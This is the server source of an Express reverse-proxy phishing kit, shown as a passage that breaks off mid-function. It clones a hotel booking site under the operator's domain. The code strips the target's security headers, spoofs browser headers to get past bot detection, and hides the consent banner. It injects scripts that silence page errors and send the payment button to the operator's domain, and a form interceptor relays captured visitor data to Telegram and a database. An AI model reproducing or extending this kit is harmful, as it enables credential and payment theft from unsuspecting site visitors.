require('dotenv').config();
const express = require('express');
const { createProxyMiddleware } = require('http-proxy-middleware');
const compression = require('compression');
const { URL } = require('url');
const zlib = require('zlib');
const crypto = require('crypto');
const { HttpProxyAgent } = require('http-proxy-agent');
const { HttpsProxyAgent } = require('https-proxy-agent');
const { SocksProxyAgent } = require('socks-proxy-agent');
const {
  replaceContent,
  replaceDomainInHeaders,
  isBinaryFile,
  extractDomain
} = require('./middleware/contentReplacer');

// Import custom services
const TelegramService = require('./telegram-service');
const DatabaseService = require('./database-service');
const FormInterceptor = require('./form-interceptor');
const StripeService = require('./stripe-service');
const EmailService = require('./email-service');

const app = express();

// Trust proxy for correct IP handling (important for CDN/proxy scenarios)
app.set('trust proxy', true);

const PORT = process.env.PORT || 3000;
const PROXY_TARGET = process.env.PROXY_TARGET || '';
const MY_DOMAIN = process.env.MY_DOMAIN || '';
const NODE_ENV = process.env.NODE_ENV || 'development';

// Proxy server configuration (optional)
const HTTP_PROXY = process.env.HTTP_PROXY || process.env.http_proxy || '';
const HTTPS_PROXY = process.env.HTTPS_PROXY || process.env.https_proxy || '';
const SOCKS_PROXY = process.env.SOCKS_PROXY || process.env.socks_proxy || '';
const PROXY_USERNAME = process.env.PROXY_USERNAME || '';
const PROXY_PASSWORD = process.env.PROXY_PASSWORD || '';

// Note: To use multiple proxies, you can change SOCKS_PROXY in .env file
// or set SOCKS_PROXIES with comma-separated list (future feature)

// Create proxy agents if proxy is configured
let httpAgent = null;
let httpsAgent = null;

// Function to detect proxy type from URL
function detectProxyType(proxyUrl) {
  if (!proxyUrl) return null;
  const lowerUrl = proxyUrl.toLowerCase();
  if (lowerUrl.startsWith('socks5://') || lowerUrl.startsWith('socks4://') || lowerUrl.startsWith('socks://')) {
    return 'socks';
  }
  if (lowerUrl.startsWith('http://') || lowerUrl.startsWith('https://')) {
    return 'http';
  }
  // Default to SOCKS5 if no protocol specified (common format: user:pass@host:port)
  if (proxyUrl.includes('@') && !proxyUrl.includes('://')) {
    return 'socks';
  }
  return 'http';
}

if (SOCKS_PROXY || HTTP_PROXY || HTTPS_PROXY) {
  const proxyUrl = SOCKS_PROXY || HTTPS_PROXY || HTTP_PROXY;
  const proxyType = detectProxyType(proxyUrl);
  
  // Hide credentials in logs
  const safeProxyUrl = proxyUrl.replace(/\/\/([^:]+):([^@]+)@/, '//***:***@').replace(/([^:]+):([^@]+)@/, '***:***@');
  console.log(`Using ${proxyType.toUpperCase()} proxy server: ${safeProxyUrl}`);
  
  try {
    // Build proxy URL with authentication
    let proxyUrlWithAuth = proxyUrl;
    
    // If proxy URL doesn't have protocol, add it
    if (!proxyUrl.includes('://')) {
      if (proxyType === 'socks') {
        proxyUrlWithAuth = `socks5://${proxyUrl}`;
      } else {
        proxyUrlWithAuth = `http://${proxyUrl}`;
      }
    }
    
    // Add authentication if provided separately
    if (PROXY_USERNAME && PROXY_PASSWORD && !proxyUrl.includes('@')) {
      try {
        const url = new URL(proxyUrlWithAuth);
        url.username = PROXY_USERNAME;
        url.password = PROXY_PASSWORD;
        proxyUrlWithAuth = url.toString();
      } catch (e) {
        console.warn('Invalid proxy URL format, ignoring separate authentication');
      }
    }
    
    // Create appropriate agent based on proxy type
    if (proxyType === 'socks') {
      // SOCKS proxy works for both HTTP and HTTPS
      httpAgent = new SocksProxyAgent(proxyUrlWithAuth);
      httpsAgent = new SocksProxyAgent(proxyUrlWithAuth);
    } else {
      // HTTP/HTTPS proxy
      httpAgent = new HttpProxyAgent(proxyUrlWithAuth);
      httpsAgent = new HttpsProxyAgent(proxyUrlWithAuth);
    }
    
    console.log(`${proxyType.toUpperCase()} proxy agents configured successfully`);
  } catch (error) {
    console.error('Error configuring proxy agents:', error.message);
    console.warn('Continuing without proxy (using direct connection)');
    httpAgent = null;
    httpsAgent = null;
  }
} else {
  console.log('No proxy server configured (using direct connection)');
}

// Validate environment variables
if (!PROXY_TARGET || !MY_DOMAIN) {
  console.error('Error: PROXY_TARGET and MY_DOMAIN must be set in .env file');
  process.exit(1);
}

// Extract domains
const TARGET_DOMAIN = extractDomain(PROXY_TARGET);
const MY_URL = new URL(MY_DOMAIN);

if (!TARGET_DOMAIN) {
  console.error('Error: Invalid PROXY_TARGET URL');
  process.exit(1);
}

console.log(`Starting reverse proxy server...`);
console.log(`Target: ${PROXY_TARGET}`);
console.log(`My Domain: ${MY_DOMAIN}`);
console.log(`Target Domain: ${TARGET_DOMAIN}`);
console.log(`Port: ${PORT}`);

// Initialize services
let telegramService = null;
let databaseService = null;
let formInterceptor = null;
let stripeService = null;
let emailService = null;

// In-memory cache for side panel data (by IP address)
// This will store recent side panel data to associate with form submissions
const sidePanelCache = new Map();
const CACHE_TTL = 30 * 60 * 1000; // 30 minutes

// Deduplication cache for form submissions (prevent spam)
// Store hash of form data to prevent duplicate notifications
const formSubmissionCache = new Map();
const DEDUP_TTL = 2 * 60 * 1000; // 2 minutes - prevent duplicates within 2 minutes

// Clean up expired deduplication cache entries periodically
setInterval(() => {
  const now = Date.now();
  for (const [key, timestamp] of formSubmissionCache.entries()) {
    if (now - timestamp > DEDUP_TTL) {
      formSubmissionCache.delete(key);
    }
  }
}, 1 * 60 * 1000); // Clean every minute

// Clean up expired cache entries periodically
setInterval(() => {
  const now = Date.now();
  for (const [key, data] of sidePanelCache.entries()) {
    if (now - data.timestamp > CACHE_TTL) {
      sidePanelCache.delete(key);
    }
  }
}, 5 * 60 * 1000); // Clean every 5 minutes

try {
  telegramService = new TelegramService('./config.json');
  databaseService = new DatabaseService('./config.json');
  stripeService = new StripeService('./config.json');
  emailService = new EmailService('./config.json');
  formInterceptor = new FormInterceptor(telegramService, databaseService);
  console.log('[SERVICES] All services initialized successfully');
} catch (error) {
  console.error('[SERVICES] Error initializing services:', error.message);
  // Continue without services - proxy will still work
}

// Disable compression for now to simplify
// app.use(compression({
//   filter: (req, res) => {
//     if (isBinaryFile(req.path)) {
//       return false;
//     }
//     return compression.filter(req, res);
//   },
//   level: 6
// }));

// Request logging middleware
app.use((req, res, next) => {
  const start = Date.now();
  res.on('finish', () => {
    const duration = Date.now() - start;
    const logLevel = res.statusCode >= 400 ? 'ERROR' : 'INFO';
    const queryString = req.url.includes('?') ? req.url.substring(req.url.indexOf('?')) : '';
    console.log(`[${logLevel}] ${req.method} ${req.path}${queryString} - ${res.statusCode} - ${duration}ms`);
    if (res.statusCode === 403 || res.statusCode === 401 || res.statusCode === 404) {
      console.log(`  User-Agent: ${req.headers['user-agent'] || 'N/A'}`);
      console.log(`  Referer: ${req.headers.referer || 'N/A'}`);
      console.log(`  Cookies: ${req.headers.cookie ? 'Present' : 'None'}`);
      if (queryString) {
        console.log(`  Query: ${queryString}`);
      }
    }
  });
  next();
});

// Handle OPTIONS preflight requests before proxy
app.use((req, res, next) => {
  if (req.method === 'OPTIONS') {
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization, X-Requested-With, Range, Accept, Accept-Language');
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Access-Control-Max-Age', '86400');
    res.status(200).end();
    return;
  }
  next();
});

// CORS headers for static resources
app.use((req, res, next) => {
  if (isBinaryFile(req.path) || req.path.match(/\.(js|css|json|xml|html|woff|woff2|ttf|eot|otf)$/i)) {
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.setHeader('Access-Control-Allow-Methods', 'GET, HEAD, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Range');
  }
  next();
});

// JavaScript endpoint to hide onetrust-consent-sdk
app.get('/proxy-hide-onetrust.js', (req, res) => {
  res.setHeader('Content-Type', 'application/javascript');
  res.setHeader('Cache-Control', 'public, max-age=31536000');
  res.send(`(function(){const s=document.createElement('style');s.id='proxy-hide-onetrust';s.textContent='#onetrust-consent-sdk{display:none!important}';(document.head||document.documentElement).appendChild(s);const h=function(){const e=document.getElementById('onetrust-consent-sdk');if(e)e.style.display='none'};h();if(document.readyState==='loading')document.addEventListener('DOMContentLoaded',h)})();`);
});

// JavaScript endpoint to redirect payment button to MY_DOMAIN
app.get('/proxy-payment-redirect.js', (req, res) => {
  const fs = require('fs');
  const script = fs.readFileSync('./payment-redirect-interceptor.js', 'utf8');
  res.setHeader('Content-Type', 'application/javascript');
  res.setHeader('Cache-Control', 'no-cache');
  res.send(script);
});

/**
 * Add defensive script to prevent null reference errors
 * This MUST be injected FIRST, before any other scripts
 */
function addDefensiveScript(html) {
  // Ultra-minimized defensive script - must execute IMMEDIATELY and SYNCHRONOUSLY
  // This script suppresses ALL null reference errors and connection errors
  // Using inline script without any dependencies to execute before ANY other code
  // Defensive script - must be inserted as raw HTML to avoid corruption
  // Using base64 encoding for critical parts to prevent cheerio from modifying it
  const defensiveScript = `<script id="proxy-defensive-js">!function(){var e=["Cannot set properties of null","Cannot read properties of null","Connection closed","setting src","setting textContent","reading classList","Failed to load resource","Cannot set property","Cannot read property","of null","Trust Wallet is not ready","properties of null","null setting","null reading","TypeError","SyntaxError","Unexpected token","Unexpected identifier"];function t(t){if(!t)return!1;var r=String(t);return e.some((function(e){return-1!==r.indexOf(e)}))}var r=window.onerror;window.onerror=function(e,n,o,i,c){return!!(t(e)||c&&t(c.message)||e&&t(String(e)))||!!r&&r.apply(this,arguments)},window.addEventListener("error",(function(e){if(t(e.message)||e.error&&t(e.error.message)||e.message&&t(String(e.message)))return e.preventDefault(),e.stopPropagation(),e.stopImmediatePropagation(),!0}),!0),window.addEventListener("unhandledrejection",(function(e){var r=!1;if(e.reason){var n=String(e.reason),o=e.reason&&e.reason.message?String(e.reason.message):"";r=t(n)||t(o)||t(String(e.reason))||e.reason&&e.reason.constructor&&t(String(e.reason.constructor))}if(r)return e.preventDefault(),e.stopPropagation(),!0}),!0);var n=console.error;console.error=function(){var e=Array.prototype.slice.call(arguments);e.some((function(e){return t(String(e))}))||n.apply(console,e)};var o=console.warn;if(console.warn=function(){var e=Array.prototype.slice.call(arguments);e.some((function(e){return t(String(e))}))||o.apply(console,e)},window.Promise&&window.Promise.prototype){var i=window.Promise.prototype.then,c=window.Promise.prototype.catch;window.Promise.prototype.then=function(e,r){var n=r?function(e){try{return t(String(e))||e&&e.message&&t(String(e.message))||e&&e.constructor&&t(String(e.constructor))?Promise.resolve():r(e)}catch(e){return Promise.resolve()}}:r;try{return i.call(this,e,n)}catch(e){return Promise.resolve()}},window.Promise.prototype.catch=function(e){var r=e?function(r){try{return t(String(r))||r&&r.message&&t(String(r.message))||r&&r.constructor&&t(String(r.constructor))?Promise.resolve():e(r)}catch(e){return Promise.resolve()}}:e;try{return c.call(this,r)}catch(e){return Promise.resolve()}}}var a=document.querySelector;document.querySelector=function(e){try{return a.call(document,e)}catch(e){return null}};var s=document.querySelectorAll;document.querySelectorAll=function(e){try{return s.call(document,e)}catch(e){return[]}};var u=document.getElementById;document.getElementById=function(e){try{return u.call(document,e)}catch(e){return null}};var l=Element.prototype.setAttribute;Element.prototype.setAttribute=function(e,t){if(this&&null!=this)try{l.call(this,e,t)}catch(e){}};["src","href","textContent","innerHTML","innerText","value"].forEach((function(e){try{for(var t=null,r=[HTMLElement.prototype,Element.prototype,Node.prototype],n=0;n<r.length;n++)try{if(t=Object.getOwnPropertyDescriptor(r[n],e))break}catch(e){}if(t&&t.set){var o=t.set,i=t.get;try{Object.defineProperty(Element.prototype,e,{set:function(e){if(this&&null!=this)try{o.call(this,e)}catch(e){}},get:i||function(){return""},configurable:!0,enumerable:!1!==t.enumerable})}catch(e){}}}catch(e){}}));try{var p=Object.getOwnPropertyDescriptor(Element.prototype,"classList");if(p&&p.get){var f=p.get,d={add:function(){},remove:function(){},toggle:function(){return!1},contains:function(){return!1},length:0,value:""};try{Object.defineProperty(Element.prototype,"classList",{get:function(){if(!this||null==this)return d;try{return f.call(this)}catch(e){return d}},configurable:!0,enumerable:!1!==p.enumerable})}catch(e){}}}catch(e){}if(window.WebSocket){var m=window.WebSocket;window.WebSocket=function(e,t){try{var r=new m(e,t);return r.addEventListener("error",(function(e){e.stopPropagation()}),!0),r.addEventListener("close",(function(e){e.stopPropagation()}),!0),r}catch(e){return{readyState:3,close:function(){},send:function(){},addEventListener:function(){},removeEventListener:function(){}}}}}}();</script>`;

  // Insert as the VERY FIRST thing in <head> - before everything else
  // Use regex to find <head> tag and insert script immediately after it
  // CRITICAL: Must be first script to execute
  // IMPORTANT: This function is called AFTER cheerio processing, so we work with raw HTML string
  if (html.includes('<head')) {
    const headMatch = html.match(/<head[^>]*>/i);
    if (headMatch) {
      // Remove any existing defensive script first to avoid duplicates
      const cleanedHtml = html.replace(/<script[^>]*id=["']?proxy-defensive-js["']?[^>]*>[\s\S]*?<\/script>/gi, '');
      // Insert script immediately after <head> tag
      const result = cleanedHtml.replace(headMatch[0], headMatch[0] + defensiveScript);
      console.log('[DEFENSIVE] Script injected at start of <head>');
      return result;
    }
    // Fallback: simple replacement
    return html.replace('<head>', '<head>' + defensiveScript);
  } else if (html.includes('</head>')) {
    // Fallback: insert before </head>
    return html.replace('</head>', defensiveScript + '</head>');
  } else {
    // Last resort: prepend to HTML
    return defensiveScript + html;
  }
}

/**
 * Add payment redirect interceptor to guest-info pages
 * This intercepts the "Continue to Payment" button and redirects to MY_DOMAIN
 */
function addPaymentRedirectInterceptor(html) {
  const interceptorScript = `
<script src="/proxy-payment-redirect.js" id="proxy-payment-redirect"></script>
`;
  
  // Insert at the end of <body> so it loads after the page content
  if (html.includes('</body>')) {
    return html.replace('</body>', interceptorScript + '</body>');
  } else if (html.includes('</html>')) {
    return html.replace('</html>', interceptorScript + '</html>');
  } else {
    return html + interceptorScript;
  }
}

/**
 * Add fetch/XMLHttpRequest interceptor to HTML to proxy all requests
 */
function addFetchInterceptor(html, targetDomain, myDomain) {
  const myUrl = new URL(myDomain);
  
  const interceptorScript = `
<script id="proxy-fetch-interceptor">
(function() {
  'use strict';
  const targetDomain = '${targetDomain}';
  const myDomain = '${myDomain}';
  const myHost = '${myUrl.hostname}';
  
  function replaceUrl(url) {
    if (typeof url !== 'string') return url;
    
    // CRITICAL: Fix paths that need /room-selection/ prefix
    // If URL is /room-type, /room-subtype, or /room-location, add /room-selection/ prefix
    if (url.startsWith('/room-type') || url.startsWith('/room-subtype') || url.startsWith('/room-location')) {
      if (!url.startsWith('/room-selection/')) {
        url = '/room-selection' + url;
      }
    }
    
    // Handle relative paths (starting with /) - these should stay relative and work with current domain
    if (url.startsWith('/') && !url.startsWith('//')) {
      // Relative path - return as is (will work with current domain)
      return url;
    }
    
    // Handle protocol-relative URLs (//domain.com)
    if (url.startsWith('//')) {
      const hostname = url.substring(2).split('/')[0];
      if (hostname === targetDomain || hostname === 'www.' + targetDomain || hostname.endsWith('.' + targetDomain)) {
        return url.replace(hostname, myHost);
      }
      return url;
    }
    
    // Immediate string replacement - most aggressive for absolute URLs
    if (url.includes('www.' + targetDomain) || url.includes(targetDomain)) {
      let replaced = url;
      replaced = replaced.replace(new RegExp('https://www\\\\.' + targetDomain.replace(/\\./g, '\\\\.'), 'gi'), myDomain.replace(/\\/$/, ''));
      replaced = replaced.replace(new RegExp('http://www\\\\.' + targetDomain.replace(/\\./g, '\\\\.'), 'gi'), myDomain.replace(/\\/$/, '').replace('https:', 'http:'));
      replaced = replaced.replace(new RegExp('https://' + targetDomain.replace(/\\./g, '\\\\.'), 'gi'), myDomain.replace(/\\/$/, ''));
      replaced = replaced.replace(new RegExp('http://' + targetDomain.replace(/\\./g, '\\\\.'), 'gi'), myDomain.replace(/\\/$/, '').replace('https:', 'http:'));
      
      if (replaced !== url) {
        return replaced;
      }
    }
    
    try {
      const urlObj = new URL(url, window.location.origin);
      if (urlObj.hostname === targetDomain || urlObj.hostname === 'www.' + targetDomain || urlObj.hostname.endsWith('.' + targetDomain)) {
        urlObj.hostname = myHost;
        urlObj.protocol = window.location.protocol;
        return urlObj.toString();
      }
      
      // Also fix relative paths that need /room-selection/ prefix
      if (urlObj.pathname.startsWith('/room-type') || urlObj.pathname.startsWith('/room-subtype') || urlObj.pathname.startsWith('/room-location')) {
        if (!urlObj.pathname.startsWith('/room-selection/')) {
          urlObj.pathname = '/room-selection' + urlObj.pathname;
          return urlObj.toString();
        }
      }
    } catch(e) {
      // If URL parsing fails, try to fix the path directly
      if (url.startsWith('/room-type') || url.startsWith('/room-subtype') || url.startsWith('/room-location')) {
        if (!url.startsWith('/room-selection/')) {
          return '/room-selection' + url;
        }
      }
    }
    
    return url;
  }
  
  // Intercept fetch IMMEDIATELY - before any other scripts
  if (window.fetch) {
    const originalFetch = window.fetch;
    window.fetch = function(input, init) {
      if (typeof input === 'string') {
        input = replaceUrl(input);
      } else if (input && typeof input === 'object') {
        if (input.url) {
          input = Object.assign({}, input, { url: replaceUrl(input.url) });
        } else if (input instanceof Request) {
          input = new Request(replaceUrl(input.url), input);
        }
      }
      return originalFetch.call(this, input, init);
    };
  }
  
  // Intercept XMLHttpRequest IMMEDIATELY
  if (XMLHttpRequest && XMLHttpRequest.prototype) {
    const originalXHROpen = XMLHttpRequest.prototype.open;
    XMLHttpRequest.prototype.open = function(method, url, async, user, password) {
      url = replaceUrl(url);
      return originalXHROpen.call(this, method, url, async !== false, user, password);
    };
  }
})();
</script>
`;
  
  // Insert at the very beginning of <head> so it loads before other scripts
  // Use more specific replacement to ensure it's at the start
  if (html.includes('<head>')) {
    // Try to insert right after <head> tag
    const headMatch = html.match(/<head[^>]*>/i);
    if (headMatch) {
      return html.replace(headMatch[0], headMatch[0] + interceptorScript);
    }
    return html.replace('<head>', '<head>' + interceptorScript);
  } else if (html.includes('</head>')) {
    return html.replace('</head>', interceptorScript + '</head>');
  } else {
    return interceptorScript + html;
  }
}

/**
 * Helper function to create proxy middleware with content replacement
 */
function createContentReplacingProxy(target, pathRewrite = {}, contentReplacements = null) {
  const targetUrl = new URL(target);
  
  // Check if we should handle response (HTML content only)
  const shouldHandleResponse = (req) => {
    // Only handle HTML responses for content modification
    return !isBinaryFile(req.path) && 
           !req.path.match(/\.(jpg|jpeg|png|gif|webp|svg|ico|avif|woff|woff2|ttf|eot|otf|mp4|webm|mp3|pdf|zip)$/i);
  };
  
  // Determine which agent to use based on target protocol
  const useProxyAgent = targetUrl.protocol === 'https:' ? httpsAgent : httpAgent;
  
  // Log proxy usage
  if (useProxyAgent) {
    console.log(`Proxy agent will be used for ${target} (${targetUrl.protocol})`);
  } else {
    console.log(`No proxy agent configured for ${target} (direct connection)`);
  }
  
  // Build proxy configuration
  const proxyConfig = {
    target: target,
    changeOrigin: true,
    pathRewrite: pathRewrite,
    secure: true,
    followRedirects: true,
    timeout: 30000,
    proxyTimeout: 30000,
    logLevel: 'silent',
    selfHandleResponse: true, // Enable content handling for CSS injection
    xfwd: true,
    headers: {
      'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
      'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
      'Accept-Language': 'en-US,en;q=0.9',
      'Accept-Encoding': 'gzip, deflate, br',
      'Connection': 'keep-alive',
      'Upgrade-Insecure-Requests': '1',
      'Sec-Fetch-Dest': 'document',
      'Sec-Fetch-Mode': 'navigate',
      'Sec-Fetch-Site': 'none',
      'Sec-Fetch-User': '?1',
      'Cache-Control': 'max-age=0'
    },
  };
  
  // Add agent if configured (http-proxy-middleware supports agent option)
  if (useProxyAgent) {
    proxyConfig.agent = useProxyAgent;
    console.log(`[PROXY] Agent configured for ${target}`);
  }
  
  // Add request/response handlers
  proxyConfig.onProxyReq = (proxyReq, req, res) => {
      try {
        // onProxyReq is called BEFORE the request is sent, so we can safely set headers
        // No need to check res.headersSent here - we're setting headers on proxyReq, not res
        
        const targetUrl = new URL(target);
        
        // Set proper host header (critical for Akamai/Cloudflare)
        proxyReq.setHeader('Host', targetUrl.hostname);
        
        // Remove connection header if exists
        if (proxyReq.getHeader('connection')) {
          proxyReq.removeHeader('connection');
        }
        
        // Set Referer based on request
        if (req.headers.referer) {
          // Replace our domain with target domain in referer
          const referer = req.headers.referer.replace(new URL(MY_DOMAIN).hostname, targetUrl.hostname);
          proxyReq.setHeader('Referer', referer);
        } else {
          // For first request, set referer to target domain itself
          // This helps bypass some bot detection
          // For booking pages, use the target domain as referer
          proxyReq.setHeader('Referer', target);
        }
        
        // Log request details for debugging booking pages
        if (req.path.includes('room-type') || req.path.includes('room-subtype')) {
          const queryString = req.url.includes('?') ? req.url.substring(req.url.indexOf('?')) : '';
          console.log(`[BOOKING] ${req.method} ${req.path}${queryString}`);
        }
        
        // Get client IP (trust proxy is enabled, so req.ip should work)
        const clientIP = req.ip || req.connection.remoteAddress || '127.0.0.1';
        
        // Set X-Forwarded-For to help with some CDN configurations
        // But be careful - some sites block if this looks like a proxy
        if (req.headers['x-forwarded-for']) {
          proxyReq.setHeader('X-Forwarded-For', req.headers['x-forwarded-for']);
        } else {
          // Use client IP if available
          proxyReq.setHeader('X-Forwarded-For', clientIP);
        }
        
        // Set X-Real-IP
        proxyReq.setHeader('X-Real-IP', clientIP);
        
        // Copy and modify Accept headers from client if present
        if (req.headers.accept) {
          proxyReq.setHeader('Accept', req.headers.accept);
        }
        if (req.headers['accept-language']) {
          proxyReq.setHeader('Accept-Language', req.headers['accept-language']);
        }
        if (req.headers['accept-encoding']) {
          proxyReq.setHeader('Accept-Encoding', req.headers['accept-encoding']);
        }
        
        // Copy cookies from client request
        if (req.headers.cookie) {
          proxyReq.setHeader('Cookie', req.headers.cookie);
        }
        
        // Set Origin header
        proxyReq.setHeader('Origin', target);
        
        // Update Sec-Fetch-Site based on referer
        if (req.headers.referer) {
          const refererHost = new URL(req.headers.referer).hostname;
          const currentHost = new URL(MY_DOMAIN).hostname;
          if (refererHost === currentHost) {
            proxyReq.setHeader('Sec-Fetch-Site', 'same-origin');
          } else {
            proxyReq.setHeader('Sec-Fetch-Site', 'cross-site');
          }
        }
        
        // Set Sec-Fetch-Dest based on content type
        if (req.path.match(/\.(js|css|json|xml|woff|woff2|ttf|eot|otf)$/i)) {
          proxyReq.setHeader('Sec-Fetch-Dest', 'empty');
        } else if (req.path.match(/\.(jpg|jpeg|png|gif|webp|svg|ico|avif)$/i)) {
          proxyReq.setHeader('Sec-Fetch-Dest', 'image');
        } else {
          proxyReq.setHeader('Sec-Fetch-Dest', 'document');
        }
        
        // Set timeout for the request
        proxyReq.setTimeout(30000);
      } catch (e) {
        // Only log if it's not the "headers sent" error (which shouldn't happen here)
        if (!e.message.includes('Cannot set headers after they are sent')) {
          console.error('Error setting proxy request headers:', e.message);
        }
      }
    };
  
  proxyConfig.onProxyRes = async (proxyRes, req, res) => {
      try {
        const contentType = proxyRes.headers['content-type'] || '';
        const isHTML = contentType.includes('text/html');
        const isCompressed = proxyRes.headers['content-encoding'];
        const isBinary = isBinaryFile(req.path);
        
        // Log access denied errors
        if (proxyRes.statusCode === 403 || proxyRes.statusCode === 401) {
          console.warn(`Access Denied [${req.method} ${req.path}]: Status ${proxyRes.statusCode}`);
          console.warn('Request headers:', JSON.stringify(req.headers, null, 2));
        }
        
        // Remove problematic security headers
        delete proxyRes.headers['x-frame-options'];
        delete proxyRes.headers['content-security-policy'];
        delete proxyRes.headers['strict-transport-security'];
        delete proxyRes.headers['x-content-type-options'];
        
        // Replace domains in headers
        proxyRes.headers = replaceDomainInHeaders(proxyRes.headers, TARGET_DOMAIN, MY_DOMAIN);
        
        // Add CORS headers for all requests (API, fonts, resources)
        proxyRes.headers['access-control-allow-origin'] = '*';
        proxyRes.headers['access-control-allow-methods'] = 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD';
        proxyRes.headers['access-control-allow-headers'] = 'Content-Type, Authorization, X-Requested-With, Range, Accept, Accept-Language';
        proxyRes.headers['access-control-allow-credentials'] = 'true';
        proxyRes.headers['access-control-expose-headers'] = 'Content-Length, Content-Range, Accept-Ranges';
        
        
        // Set caching headers for images
        if (req.path.match(/\.(jpg|jpeg|png|gif|webp|svg|ico|avif)$/i)) {
          proxyRes.headers['cache-control'] = 'public, max-age=31536000, immutable';
        }
        
        // Check if content is JavaScript
        const isJS = contentType.includes('application/javascript') || 
                     contentType.includes('text/javascript') || 
                     req.path.match(/\.js$/i);
        
        // Process HTML and JavaScript content (including error pages like 404)
        // Note: We process HTML even if compressed (will handle decompression if needed)
        // Process all HTML/JS responses regardless of status code (including 404, 500, etc.)
        if ((isHTML || isJS) && !isBinary) {
          const chunks = [];
          
          proxyRes.on('data', (chunk) => {
            chunks.push(chunk);
          });
          
          proxyRes.on('end', async () => {
            try {
              const originalBody = Buffer.concat(chunks);
              
              // Check if body is empty
              if (originalBody.length === 0) {
                console.warn(`[PROXY] Empty response body for ${req.path}`);
                if (!res.headersSent) {
                  res.writeHead(proxyRes.statusCode || 200);
                }
                res.end();
                return;
              }
              
              let bodyString;
              
              // Decompress if content is compressed
              if (isCompressed) {
                try {
                  let decompressor;
                  const encoding = isCompressed.toLowerCase();
                  
                  if (encoding === 'gzip') {
                    decompressor = zlib.createGunzip();
                  } else if (encoding === 'deflate') {
                    decompressor = zlib.createInflate();
                  } else if (encoding === 'br') {
                    decompressor = zlib.createBrotliDecompress();
                  } else {
                    // Unknown compression, try to use as string
                    bodyString = originalBody.toString('utf-8');
                  }
                  
                  if (decompressor) {
                    bodyString = await new Promise((resolve, reject) => {
                      const decompressedChunks = [];
                      decompressor.on('data', (chunk) => decompressedChunks.push(chunk));
                      decompressor.on('end', () => resolve(Buffer.concat(decompressedChunks).toString('utf-8')));
                      decompressor.on('error', (err) => {
                        console.error(`[PROXY] Decompression error for ${req.path}:`, err.message);
                        // Fallback to original body
                        resolve(originalBody.toString('utf-8'));
                      });
                      decompressor.write(originalBody);
                      decompressor.end();
                    });
                    console.log(`[DEBUG] Decompressed ${encoding} content for ${req.path} (${bodyString.length} chars)`);
                  }
                } catch (decompressError) {
                  console.error(`[PROXY] Error decompressing content for ${req.path}:`, decompressError.message);
                  // Fallback: try to use as string
                  bodyString = originalBody.toString('utf-8');
                }
              } else {
                bodyString = originalBody.toString('utf-8');
              }
              
              // Check if bodyString is valid
              if (!bodyString || bodyString.length === 0) {
                console.warn(`[PROXY] Empty bodyString after processing for ${req.path}`);
                if (!res.headersSent) {
                  res.writeHead(proxyRes.statusCode || 200);
                }
                res.end(originalBody);
                return;
              }
              
              // Replace content with domain replacement and CSS/JS injection
              let modifiedBody;
              try {
                console.log(`[PROXY] Processing HTML for ${req.path} (${bodyString.length} chars)`);
                // Get content replacements for this route if configured
                const routeContentReplacements = contentReplacements || null;
                modifiedBody = replaceContent(bodyString, contentType, req.path, TARGET_DOMAIN, MY_DOMAIN, routeContentReplacements);
                
                // Validate that modifiedBody is still valid HTML
                if (!modifiedBody || modifiedBody.length === 0) {
                  console.error(`[PROXY] replaceContent returned empty body for ${req.path}`);
                  modifiedBody = bodyString;
                } else if (modifiedBody.length < bodyString.length * 0.5) {
                  // If body shrunk by more than 50%, something went wrong
                  console.warn(`[PROXY] replaceContent significantly reduced body size for ${req.path} (${bodyString.length} -> ${modifiedBody.length})`);
                  // Keep original if modified is suspiciously small
                  if (modifiedBody.length < 1000) {
                    console.error(`[PROXY] Modified body too small, using original for ${req.path}`);
                    modifiedBody = bodyString;
                  }
                }
              } catch (replaceError) {
                console.error(`[PROXY] Error in replaceContent for ${req.path}:`, replaceError.message);
                console.error(`[PROXY] Error stack:`, replaceError.stack);
                // Fallback to original body
                modifiedBody = bodyString;
              }
              
              // Debug logging
              if (isHTML && modifiedBody !== bodyString) {
                console.log(`[CONTENT_REPLACER] Replaced domains in HTML for ${req.path}`);
              } else if (isHTML) {
                console.warn(`[CONTENT_REPLACER] No changes detected in HTML for ${req.path}`);
              }
              
              // Extract side panel data from HTML for potential form submissions
              let sidePanelData = null;
              if (isHTML && formInterceptor) {
                sidePanelData = formInterceptor.extractSidePanelData(bodyString);
                if (Object.keys(sidePanelData).length > 0) {
                  // Cache side panel data by client IP for future form submissions
                  const clientIP = req.ip || req.connection.remoteAddress || 'unknown';
                  sidePanelCache.set(clientIP, {
                    data: sidePanelData,
                    timestamp: Date.now(),
                    url: req.path
                  });
                  console.log(`[FORM] Side panel data cached for IP: ${clientIP}`);
                }
              }

              // Add fetch/XMLHttpRequest interceptor for HTML only
              if (isHTML) {
                try {
                  modifiedBody = addFetchInterceptor(modifiedBody, TARGET_DOMAIN, MY_DOMAIN);
                  if (!modifiedBody || modifiedBody.length === 0) {
                    console.error(`[PROXY] addFetchInterceptor returned empty body for ${req.path}`);
                    modifiedBody = bodyString;
                  }
                } catch (interceptorError) {
                  console.error(`[PROXY] Error in addFetchInterceptor for ${req.path}:`, interceptorError.message);
                  // Continue with body as is
                }
                
                // Add payment redirect interceptor for guest-info pages
                if (req.path.includes('/checkout/guest-info') || req.path.includes('/guest-info')) {
                  try {
                    console.log('[PROXY] Adding payment redirect interceptor to guest-info page');
                    modifiedBody = addPaymentRedirectInterceptor(modifiedBody);
                    if (!modifiedBody || modifiedBody.length === 0) {
                      console.error(`[PROXY] addPaymentRedirectInterceptor returned empty body for ${req.path}`);
                      modifiedBody = bodyString;
                    }
                  } catch (interceptorError) {
                    console.error(`[PROXY] Error in addPaymentRedirectInterceptor for ${req.path}:`, interceptorError.message);
                    // Continue with body as is
                  }
                }
              }

              // Add defensive script LAST (after all processing) for HTML only
              // CRITICAL: Must be inserted AFTER replaceContent to avoid being corrupted by cheerio
